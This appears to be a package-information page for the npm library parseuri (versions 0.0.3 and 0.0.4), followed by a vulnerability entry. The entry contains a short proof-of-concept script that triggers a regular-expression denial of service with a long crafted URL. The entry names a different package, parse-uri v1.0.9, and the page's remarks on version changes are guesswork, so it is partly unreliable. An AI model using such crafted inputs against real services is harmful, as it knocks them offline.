Parseuri is a lightweight npm package designed to dissect URIs, providing developers with a structured array containing its constituent components. Both version 0.0.3 and the subsequent 0.0.4 offer this core functionality, enabling easy extraction of elements like protocol, hostname, path, and query parameters from a given URI string. The package relies on the minimal better-assert dependency for internal checks and utilizes mocha for development-time testing, indicating a focus on code quality.
While seemingly similar, the key difference between versions 0.0.3 and 0.0.4 lies in their release dates. Version 0.0.4 was released on July 20, 2014, while version 0.0.3 was released on July 4, 2014. This two-week gap suggests that version 0.0.4 likely includes bug fixes, performance improvements, or minor feature enhancements not present in the earlier version. Although the package description and dependencies remain unchanged, the updated release indicates a commitment to maintaining and refining the library.
Developers considering parseuri for their projects should opt for the latest version (0.0.4 at the time of this data) to benefit from potential improvements and stability enhancements. Parseuri's MIT license grants developers the freedom to integrate it into both open-source and commercial projects without restriction. The package's straightforward API and clear purpose makes it a valuable tool for applications needing to work with and manipulate URIs effectively. Its small footprint ensures it won't add unnecessary bloat to your project.
All the vulnerabilities related to the version 0.0.4 of the package
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();